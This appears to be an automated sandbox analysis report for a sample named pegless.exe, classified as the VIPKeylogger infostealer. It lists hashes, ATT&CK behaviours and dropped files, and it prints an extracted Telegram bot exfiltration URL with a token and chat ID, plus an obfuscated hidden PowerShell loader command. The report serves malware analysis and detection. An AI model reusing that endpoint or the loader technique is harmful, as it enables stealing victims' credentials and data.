Analysis
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max time kernel
145s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
19-12-2024 10:44
General
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Target
pegless.exe
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Size
1.1MB
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MD5
487fad16da392c87fb894a6ccbd95870
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SHA1
16f4935ce6d245d535f23a1557b6f0e0ad77baa9
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SHA256
2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce
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SHA512
bbb60d3e7a24964e100ea583bd701dbf1b1ebffb44fd03de5f6c096b87de8ded04e7ece05dd28995eb2bcdf1e3cdb1fcaa11078277cba3b41af1a5c4b8e04b59
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SSDEEP
24576:zNrNYogUzS7ZTdlfjS03VwV5k7j5awX300zQUGtZc:Z+JI2Jj3VwXgj5aEkHUGtZc
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\pegless.exe"C:\Users\Admin\AppData\Local\Temp\pegless.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Subleasing20=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una';$Damselflies181=$Subleasing20.SubString(62296,3);.$Damselflies181($Subleasing20) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
74KB
MD558b2d4d8dcb1f7505b049780ab782495
SHA17781b3dc2da3205c27020121a5083c1a5363751b
SHA256fca8d4a203b4456bd2dcc7d9d8901762199381cd6436d6dafed510a94d173201
SHA51252195930e588f773cbbab36b758b66c161a9a09be9ec20e96d390a64a30ff92c3b2c51675efbd921379c9b06b6b3e250040aa3f9facae7f01daff3ab7ab71d11
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Filesize
326KB
MD5906fddea67f3fcaf133c8a5fa43bc4e7
SHA11cb2e0442d83a8b638bf2812662c1d2a0399521f
SHA2565e4c3e81328f09a96778f6b07cfde424e0a7b553b59b2c815c2a725cbd73c4c4
SHA51223ba6c3286149578367ffb1af0f3d51046f7afb972d5507c99dd47d7859664df624bfa17bc5fb0317084643fd325da1dfcd996a2465ae34a1a1840599dd06c78
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
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Filesize
18.3MB
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Filesize
296KB
-
Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
-
Filesize
1.8MB
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Filesize
624KB
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Filesize
7.7MB
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Filesize
32KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
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Filesize
120KB
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Filesize
304KB
-
Filesize
200KB
-
Filesize
408KB
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Filesize
652KB
-
Filesize
40KB
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Filesize
68KB
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Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
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Filesize
408KB
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Filesize
144KB
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Filesize
168KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
27.2MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB